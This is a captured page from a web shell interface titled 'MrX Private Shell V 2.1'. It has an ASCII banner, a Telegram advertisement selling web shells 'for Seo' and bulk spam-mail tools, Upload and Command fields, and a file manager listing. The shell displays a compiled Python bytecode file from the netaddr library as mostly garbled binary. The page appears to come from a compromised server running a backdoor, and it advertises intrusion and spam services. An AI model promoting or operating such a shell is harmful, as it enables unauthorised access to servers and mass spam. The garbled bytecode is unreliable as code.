__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�̸g�#����SrSSKJr SSKrSSKJr SSKJ	r	J
r
 0r0r"SS\	5r
"SS\
5r"S	S
\
5rSrSrS
rSr\S:Xa\"5 g\"5 g)z�
Provides access to public OUI and IAB registration data published by the IEEE.

More details can be found at the following URLs :-

    - IEEE Home Page - http://www.ieee.org/
    - Registration Authority Home Page - http://standards.ieee.org/regauth/
�N)�_open_binary)�
Subscriber�	Publisherc�$�\rSrSrSrSrSrSrg)�FileIndexer�1z�
A concrete Subscriber that receives OUI record offset information that is
written to an index data file as a set of comma separated records.
c��[US5(a[US5(aXlO[US5Ul[R"URSS9Ulg)zt
Constructor.

:param index_file: a file-like object or name of index file where
    index records will be written.
�readline�tell�w�
)�lineterminatorN)�hasattr�fh�open�_csv�writer)�self�
index_files  �2/usr/lib/python3/dist-packages/netaddr/eui/ieee.py�__init__�FileIndexer.__init__7sF���:�z�*�*�w�z�6�/J�/J� �G��:�s�+�D�G��k�k�$�'�'�$�?���c�:�URRU5 g)zo
Receives and writes index data to a CSV data file.

:param data: record containing offset record information.
N)r�writerow)r�datas  r�update�FileIndexer.updateEs��	
�����T�"r)rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr�__static_attributes__�rrrr1s���
@�#rrc�2^�\rSrSrSrU4SjrSrSrU=r$)�OUIIndexParser�Na�
A concrete Publisher that parses OUI (Organisationally Unique Identifier)
records from IEEE text-based registration files

It notifies registered Subscribers as each record is encountered, passing
on the record's position relative to the start of the file (offset) and
the size of the record (in bytes).

The file processed by this parser is available online from this URL :-

    - http://standards.ieee.org/regauth/oui/oui.txt

This is a sample of the record structure expected::

    00-CA-FE   (hex)        ACME CORPORATION
    00CAFE     (base 16)        ACME CORPORATION
                    1 MAIN STREET
                    SPRINGFIELD
                    UNITED STATES
c�>�[[U]5 [US5(a[US5(aXlg[US5Ulg)z�
Constructor.

:param ieee_file: a file-like object or name of file containing OUI
    records. When using a file-like object always open it in binary
    mode otherwise offsets will probably misbehave.
r
r�rbN)�superr'rrrr�r�	ieee_file�	__class__s  �rr�OUIIndexParser.__init__d�>���	�n�d�,�.��9�j�)�)�g�i��.H�.H��G��9�d�+�D�Grc��SnSnSnSnSnSnURR5nU(dO�U(aXG;aSnU(aM:XG;a�Ub"URU5 URU5 [	U5nURR5[	U5-
nUR
5Sn	[U	RXV5S5n
X�/nOU[	U5-
nM�URU5 URU5 g)	zs
Starts the parsing process which detects records and notifies
registered subscribers as it finds each OUI record.
TNr�(hex)�-rF�)	rr
�append�notify�lenr�split�int�replace)r�skip_header�record�size�marker�hyphen�empty_string�line�offset�oui�indexs           r�parse�OUIIndexParser.parsess���
��������������7�7�#�#�%�D����v�~�#�����~��%��M�M�$�'��K�K��'��4�y��������#�d�)�3���j�j�l�1�o���C�K�K��=�r�B�������D�	�!��7�<	�
�
�d�����F�r�r�	rr r!r"r#rrEr$�
__classcell__�r.s@rr'r'Ns����*
,�,�,rr'c�2^�\rSrSrSrU4SjrSrSrU=r$)�IABIndexParser�a�
A concrete Publisher that parses IAB (Individual Address Block) records
from IEEE text-based registration files

It notifies registered Subscribers as each record is encountered, passing
on the record's position relative to the start of the file (offset) and
the size of the record (in bytes).

The file processed by this parser is available online from this URL :-

    - http://standards.ieee.org/regauth/oui/iab.txt

This is a sample of the record structure expected::

    00-50-C2   (hex)        ACME CORPORATION
    ABC000-ABCFFF     (base 16)        ACME CORPORATION
                    1 MAIN STREET
                    SPRINGFIELD
                    UNITED STATES
c�>�[[U]5 [US5(a[US5(aXlg[US5Ulg)z�
Constructor.

:param ieee_file: a file-like object or name of file containing IAB
    records. When using a file-like object always open it in binary
    mode otherwise offsets will probably misbehave.
r
rr*N)r+rLrrrrr,s  �rr�IABIndexParser.__init__�r0rc��SnSnSnSnSnSnSnURR5nU(dO�U(aXH;aSnU(aM:XH;aoUb"URU5 URU5 URR	5[U5-
n	UR
5Sn
U
nX�/n[U5nOqXX;a^U[U5-
nUSRXg5nUR
5Sn
U
R
U5Sn
[X�-S	5S
-	US'OU[U5-
nGM!URU5 URU5 g)zs
Starts the parsing process which detects records and notifies
registered subscribers as it finds each IAB record.
TNrr2s	(base 16)r3rFr4�)	rr
r5r6rr7r8r:r9)rr;r<r=�
hex_marker�
base16_markerr?r@rArB�
iab_prefixrD�prefix�suffixs              rrE�IABIndexParser.parse�sG��
�������
�$�
�������7�7�#�#�%�D����z�1�#�����!��%��M�M�$�'��K�K��'�������#�d�)�3��!�Z�Z�\�!�_�
�"������4�y���&���D�	�!�����*�*�6�@������a������f�-�a�0�� ���"�5�"�<��q�	���D�	�!��C�H	�
�
�d�����F�rrGrHrJs@rrLrL�s����*
,�3�3rrLc�h�U"U5nUR[U55 UR5 g)z4Generate an index files from the IEEE registry file.N)�attachrrE)�registry_fh�
index_path�parser�
oui_parsers    r�create_index_from_registryr^�s+����$�J����k�*�-�.����rc��[[R"[R"[5S5[R"[R"[5S5[
5 [[R"[R"[5S5[R"[R"[5S5[5 g)z1Create indices for OUI and IAB file based lookupszoui.txt�oui.idxziab.txt�iab.idxN)r^�_path�join�dirname�__file__r'rLr%rr�create_indicesrfsv���
�
�
�5�=�=��*�I�6�
�
�
�5�=�=��*�I�6���
�
�
�
�5�=�=��*�I�6�
�
�
�5�=�=��*�I�6��rc�f�[R"UVs/sHo"RS5PM sn5HHnUVs/sHn[U5PM snupVnUR	U/5 XRXg45 MJ UR
5 gs snfs snf!UR
5 f=f)z/Load index from file into index data structure.zUTF-8N)r�reader�decoder9�
setdefaultr5�close)rD�fp�x�row�_�keyrBr=s        r�
load_indexrqs�����;�;�2�>�2�a���� 1�2�>�?�C�36�"7�3�a�3�q�6�3�"7��S�$����S�"�%��J���v�n�-�@�
	���
�� ?��"7��	���
�s&�B�B�B�B�0B�
B�B0c�|�[[[[S55 [[[[S55 g)z+Load OUI and IAB lookup indices into memoryr`raN)rq�	OUI_INDEXr�__package__�	IAB_INDEXr%rr�load_indicesrvs$���y�,�{�I�>�?��y�,�{�I�>�?r�__main__)r#�os.path�pathrb�csvr�netaddr.compatr�netaddr.corerrrsrurr'rLr^rfrqrvrr%rr�<module>r}s|��4���'�.�
�	�
�	�#�*�#�:Q�Y�Q�hX�Y�X�v���@��z�����Nr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 29.97 KB 0644
ieee.cpython-313.pyc File 9.59 KB 0644
Filemanager